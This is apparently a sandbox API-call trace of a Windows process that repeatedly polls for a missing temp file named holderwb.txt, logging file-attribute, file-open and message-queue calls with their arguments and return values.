	[0098.740] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.740] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.740] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.740] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.741] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.741] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.741] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.741] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.741] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.741] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.741] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.742] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.742] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.742] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.742] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.742] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.742] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.742] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.743] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.743] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.743] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.743] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.744] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.744] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.744] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.744] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.745] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.745] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.745] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.745] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.745] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.746] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.746] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.746] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.746] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.746] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.746] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.747] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.747] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.747] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.747] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.747] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.747] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.748] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.748] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.748] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.748] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.748] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.749] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.749] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.749] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.749] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.750] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.750] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.750] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.750] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.751] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.751] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.751] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.751] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.751] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.751] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.752] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.752] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.752] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.752] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.752] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.752] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.753] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.753] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.753] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.753] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
